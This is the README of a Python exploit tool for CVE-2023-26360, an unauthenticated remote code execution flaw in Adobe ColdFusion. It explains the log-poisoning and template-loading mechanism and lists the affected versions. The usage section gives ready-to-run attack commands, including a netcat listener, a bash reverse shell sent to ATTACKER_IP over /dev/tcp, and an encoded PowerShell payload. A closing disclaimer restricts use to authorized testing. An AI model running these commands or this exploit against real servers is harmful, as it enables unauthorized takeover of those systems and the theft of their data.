CVE-2023-26360 — Adobe ColdFusion Unauthenticated RCE

Python implementation of the remote code execution exploit for CVE-2023-26360, based on analysis of the original Metasploit module and the prior work by jakabakos.

Why this exists

The jakabakos PoC attempts to inject <cfexecute> directly into the _variables parameter and read the output from the ColdFusion log in a single step. This approach fails because ColdFusion does not evaluate CFML tags inline in that context, resulting in a 500 error with no code execution.

This implementation replicates the correct two-step mechanism used by the Metasploit module:

1. Log poisoning — sends a malformed _variables payload ({<cftry>CFML</cftry>) to the vulnerable CFC endpoint. ColdFusion fails to parse it and writes the raw content — including the CFML code — into coldfusion-out.log.
2. Template execution — uses the classname deserialization vulnerability to load the poisoned log file as a ColdFusion template, causing the server to execute the injected CFML.

Command execution is performed via java.lang.Runtime.exec() through createObject, avoiding any dependency on <cfexecute>, which is typically disabled in hardened or production deployments.

Affected versions

• Adobe ColdFusion 2021 Update 5 and earlier
• Adobe ColdFusion 2018 Update 15 and earlier

Requirements

pip install -r requirements.txt

Usage

Start a listener before running the exploit:

nc -lvnp 4444

Windows target:

python exploit.py --host http://TARGET:8500 --win --cmd "powershell -e <BASE64_PAYLOAD>"

Linux target:

python exploit.py --host http://TARGET:8500 --cmd "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

Through a proxy (e.g. Burp Suite):

python exploit.py --host http://TARGET:8500 --win --cmd "whoami" --proxy http://127.0.0.1:8080

Options

How it works

┌─────────────┐         Step 1: plant CFML          ┌──────────────────┐
│   Attacker  │ ──── POST /_variables={<cftry>...  ──► iedit.cfc        │
│             │      CF fails to parse, logs CFML     │                  │
│             │                                       │ coldfusion-      │
│             │         Step 2: trigger execution     │ out.log          │
│             │ ──── POST classname=X..\logs\cf... ──► (loaded as       │
│             │                                       │  CFML template)  │
│  Listener   │ ◄─────────────── reverse shell ───────│                  │
└─────────────┘                                       └──────────────────┘

References

• Adobe Security Advisory
• Rapid7 Analysis — AttackerKB
• Metasploit Module
• jakabakos PoC

Disclaimer

This tool is provided for educational purposes and authorized security assessments only (penetration tests, CTFs, lab environments). Running this exploit against systems without explicit written permission is illegal. The author assumes no liability for any misuse.